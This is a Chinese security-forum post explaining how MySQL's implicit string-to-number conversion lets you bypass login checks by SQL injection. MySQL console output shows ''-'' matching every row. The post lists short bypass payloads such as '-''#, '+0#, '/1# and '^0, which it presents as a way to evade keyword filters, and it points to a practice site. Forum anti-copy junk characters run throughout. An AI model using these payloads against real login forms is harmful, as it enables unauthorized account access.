找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1928|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
, a- C$ _( Y  G有以下表结构: 8 R9 F; Z0 K- c3 z

& |4 K' m' x' n' F8 ?- Smysql> desc admin;  I5 h3 ]9 Z: z' W7 _6 y5 `2 B
+----------+--------------+------+-----+---------+----------------+
; ^1 t1 y8 S5 n. d! P! i| Field    | Type         | Null | Key | Default | Extra          |9 p4 i- D0 }& X$ _& M
+----------+--------------+------+-----+---------+----------------+
3 |/ R8 g5 e0 Z* J; i' H6 o| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |: a. x0 p! y6 u6 x' t, Q* k+ Q
| name     | char(32)     | NO   | UNI | NULL    |                |; \* o) X$ j  z5 `
| password | char(32)     | NO   | UNI | NULL    |                |
7 o7 c, ^# j7 E, u& V9 J+----------+--------------+------+-----+---------+----------------+
' O# d1 r, V9 Z  \& x, S9 |3 rows in set (0.00 sec)
, ]  _; L& B" F& v; H- W5 w: G% H执行select * from admin;,成功返回所有记录内容。3 b8 s& Z) G3 E0 v# C

$ c8 g' L* G6 S& H" S
) [7 B8 M! ?) O3 X9 x+----+--------+----------------------------------++ X8 p! Z) _  C1 x9 c) T+ c
| id | name   | password                         |
3 l& s" N3 L. G0 X2 v7 d+----+--------+----------------------------------+
2 j, V2 H1 m7 j# K" O- P|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |5 x7 y. p* r& k# ?& g- h+ B. j
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |& \/ ^1 E7 L& ~2 ^) |3 V
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
1 z5 a  F3 I, a* H( t5 O+----+--------+----------------------------------+; `: @' v5 b* P5 C- y
3 rows in set (0.00 sec)
. `* o5 ~8 K. q8 b7 y( `9 _( y执行select * from admin where name=”;,没有匹配到任何记录。 ' `$ Y0 W0 H' A$ I  ~8 Q7 y% J
' |, D1 P. J" Z' ~1 r
mysql> select * from admin where name = '';
; `0 K. t' E( I" |: H6 F& i: [Empty set (0.00 sec)
8 n) n% {  r9 a# r; A那么我们来执行select * from admin where name = ”-”;
5 _$ Y, D7 i* S+ ^4 Y- G. ]/ M6 I4 V
& C3 V' ?. W, M4 t: ~: e' P( k
+----+--------+----------------------------------+: B) O9 X7 x6 S8 _! K4 D/ Q; y0 M" {
| id | name   | password                         |) V, i9 I9 e" m% r0 N
+----+--------+----------------------------------+
$ D8 i* e" ?8 l& j# X" Z2 P0 M|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
6 C7 [# W8 A2 K4 N2 a/ \# V|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
, @9 B; I  a; u( T$ T|  4 | n00b   | ff80e8508d39047460921792273533a4 |
" ~2 U+ k4 s: ~+----+--------+----------------------------------+: J) ~" S. E: y9 P- c5 v: W/ H
3 rows in set, 3 warnings (0.00 sec)7 e5 G, T- g4 U4 v
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
; u+ T" o1 j, Q. e  @, V1 {7 E3 Y+ q' C6 z  a5 ~. S2 j
mysql> show warnings;
- {. J* R7 b; o7 }* z9 V. H( ?+---------+------+------------------------------------------9 d: e2 X' e+ O5 j  r
| Level   | Code | Message" X6 V" F. Y0 n4 ?
+---------+------+------------------------------------------" E+ }2 i0 R4 _. t) K' C0 p
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin7 V; P' ?$ O4 I2 N9 D) P
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
2 T, @# F2 U5 `: e( t  @| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b. O  |' ~3 {4 s  l6 O, ]: t
+---------+------+------------------------------------------  E7 O" ^6 b- M; z% R9 D, h
3 rows in set (0.00 sec)0 M0 i: y& h3 h8 V3 \3 i0 D8 r5 o
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
% o+ s% A- ^7 }& h" p3 ~
3 p' E# B& a; @& Q5 b/ e, [, emysql> select ''-'';
; q: L& K+ P: e& Y+-------+: y' `) ]& a# t4 u% E+ ?: f) w
| ''-'' |5 E* W9 r' {2 o$ _$ I! L  R
+-------+/ n; F$ b. T( z; Q
|     0 |% v  O0 s( S7 o+ j  b" {1 q
+-------+
0 P5 Y. S2 r; z9 q9 {# o$ F8 M1 row in set (0.00 sec)  a6 f8 D5 {9 g$ u# B5 m
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
/ a% U& P: D2 B! m- ^
. ^$ W: C: b4 cmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
7 W& P3 y  i- E- R( D+-----------------------------------------------------+' x% `" i5 w: a  V
| CAST((select name from admin limit 1,1) as DECIMAL) |; ~( i' o- H/ E5 j* n$ y7 c
+-----------------------------------------------------+
: I# K% D& a& Y8 \. q4 e- _|                                                   0 |
2 @( [1 Q' d( ^% B" b* {6 w3 V+-----------------------------------------------------+
4 S4 ?% k* ?) C9 n3 A' A: C1 row in set, 1 warning (0.00 sec)
$ Z% b" `9 G6 O9 G- G' Q& _6 W因此where语句构成了相等的条件,where 0=”=”,记录被返回。
! M/ S  r' n0 M5 k# b# j$ T( b/ Q
2 ~5 Q5 l% G1 P. J1 m2 DSQL注入场景: http://www.sqlzoo.net/hack/
0 [% @) y+ B5 S9 u. y0 k, n* W' m* _
! F7 E' H) H7 s8 b9 J8 T
% K& e; Y, `2 S& q+ b

* e2 c+ ~7 M+ l  C4 F0 x如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
  Z) K& X' F# O1 s7 e6 y7 C' Z, j; M% v: l: _6 D. T$ E7 k
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 5 X7 G1 w5 v7 N3 @- w5 c
0 T8 t* F( Z7 M  V% h, W0 [4 N" m2 }

/ e3 j  M- r$ I/ v/ z, V) T" c( g& Q% s/ w* R

, \9 X" `, @) D仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
4 ^2 {- v2 r" E) X* `7 v- d
5 U  p0 r# n0 L( d   
" I# l1 l7 p% i7 c$ L# i# {1 w  L* w- X; h4 ?1 ^& K
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
  _* H* X9 Z/ n6 L5 ^: r% c. n4 a0 v2 e5 \; V

1 g/ ^  t) Y8 o, Fmysql> select ''/1;
/ J# M6 r8 m% g9 C  \- |" H% M, v+------+2 ~5 d$ U/ u2 h- U$ s3 r
| ''/1 |7 N2 t$ V1 E* G
+------+
% N4 B0 H( f( R|    0 |
& g+ x3 K' A& A0 G! {8 h+------+$ f. y% X3 \$ ?1 {
1 row in set (0.00 sec)
" t  U+ l( _" J6 R5 r& O* q类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
3 Q8 l" V0 G8 p4 Z* h9 j) D4 f* D. V" u! n
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
0 w" X4 @# \# O( o6 g+ j% k- J: U! y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表